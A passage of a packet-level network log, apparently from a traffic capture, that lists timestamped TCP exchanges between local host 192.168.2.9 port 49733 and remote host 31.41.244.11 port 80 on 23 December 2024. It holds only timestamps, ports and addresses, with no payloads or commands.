Dec 23, 2024 17:16:56.371324062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.372040987 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.372117996 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.372155905 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.372247934 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.372936010 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.373022079 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.373040915 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.373142004 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.373671055 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.373716116 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.373770952 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.373837948 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.374473095 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.374542952 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.374583960 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.374629021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.375307083 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.375355005 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.375386953 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.375442028 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.376105070 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.376214981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.376243114 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.376303911 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.376920938 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.377062082 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.377074957 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.377110958 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.377754927 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.377816916 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.377839088 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.377876043 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.378582954 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.378627062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.378690958 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.378768921 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.379384041 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.379431009 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.379462957 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.379538059 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.380243063 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.380336046 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.380369902 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.380465984 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.381030083 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.381129026 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.381160021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.381175041 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.381856918 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.381902933 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.381911039 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.381966114 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.382668018 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.382735968 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.382771969 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.382823944 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.383479118 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.383523941 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.383564949 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.383666039 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.384330988 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.384427071 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.384435892 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.384577990 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.385097027 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.385170937 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.385250092 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.385303974 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.385905981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.385970116 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.385986090 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.386024952 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.386723995 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.386831045 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.386862040 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.386956930 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.387547016 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.387603045 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.387641907 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.387705088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.388375998 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.388423920 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.388453007 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.388494968 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.389183998 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.389278889 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.389319897 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.389319897 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.390017033 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.390043020 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.390085936 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.390085936 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.390814066 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.390872955 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.390909910 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.391026974 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.391608000 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.391660929 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.391726017 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.391788006 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.392421961 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.392466068 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.392497063 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.392538071 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.393261909 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.393352985 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.393444061 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.393712997 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.543273926 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.543325901 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.543437004 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.543489933 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.543665886 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.543682098 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.543720961 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.543760061 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.544469118 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.544542074 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.544562101 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.544619083 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.545214891 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.545308113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.545336008 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.545380116 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.546071053 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.546108007 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.546168089 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.546209097 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.546884060 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.546953917 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.546987057 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.547034979 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.547698021 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.547746897 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.547832966 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.547874928 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.548470020 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.548510075 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.548599958 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.548649073 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.549427986 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.549472094 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.549535036 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.549668074 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.550134897 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.550231934 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.550309896 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.550378084 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.550982952 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.551026106 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.551047087 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.551103115 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.551805019 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.551865101 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.551927090 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.552052021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.552560091 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.552611113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.552670002 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.552721024 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.553380013 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.553491116 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.553508043 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.553544998 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.554296970 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.554368019 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.554425001 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.554492950 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.555202961 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.555253983 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.555319071 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.555427074 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.556127071 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.556176901 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.556247950 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.556291103 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.558070898 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.558087111 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.558103085 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.558136940 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.558136940 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.558176041 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.558229923 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.558229923 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.558478117 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.558558941 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.558592081 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.558660984 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.559184074 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.559211969 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.559310913 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.559315920 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.560108900 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.560256958 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.560273886 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.560317039 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.560870886 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.560915947 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.560944080 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.560992956 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.561521053 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.561645985 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.561697006 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.561844110 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.562453032 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.562513113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.562705994 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.562788963 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.563266039 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.563329935 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.563488960 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.563549042 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.564024925 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.564048052 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.564100027 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.564100027 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.564795971 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.564843893 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.565049887 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.565124989 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.565792084 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.565870047 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.566122055 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.566183090 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.566467047 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.566514969 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.566574097 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.566643953 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.567282915 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.567331076 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.567383051 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.567445040 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.568434000 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.568450928 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.568500996 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.568500996 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.569195986 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.569277048 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.569283009 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.569329977 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.569724083 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.569822073 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.569849014 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.569886923 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.570643902 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.570713997 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.570786953 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.571037054 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.571427107 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.571523905 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.571597099 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.571669102 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.572174072 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.572241068 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.572276115 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.572276115 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.572967052 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.573034048 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.573162079 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.573221922 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.573983908 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.574098110 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.574146032 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.574199915 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.574672937 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.574726105 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.574764967 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.574863911 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.575402975 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.575459957 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.575469017 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.575508118 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.576328993 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.576469898 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.576503038 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.576679945 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.577167034 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.577238083 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.577475071 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.577548027 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.577847004 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.577894926 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.577944040 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.577944040 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.578736067 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.578826904 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.578866005 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.578905106 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.579595089 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.579653978 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.579750061 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.579803944 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.580364943 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.580415010 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.580472946 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.580512047 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.581156015 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.581268072 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.581279993 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.581377983 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.582007885 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.582083941 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.582127094 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.582170963 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.582828999 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.582994938 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.583018064 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.583066940 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.583641052 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.583688021 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.583703041 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.583744049 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.584429026 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.584557056 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.584593058 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.584630013 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.585244894 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.585328102 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.585371017 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.585412025 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.585994959 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.586117983 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.800041914 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.800188065 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.800218105 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.800318956 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.800405979 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.800540924 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.800589085 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.800683975 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.801228046 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.801274061 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.801307917 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.801372051 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.802040100 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.802089930 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.802113056 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:56.802340031 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:56.802829027 CET	80	49733	31.41.244.11	192.168.2.9
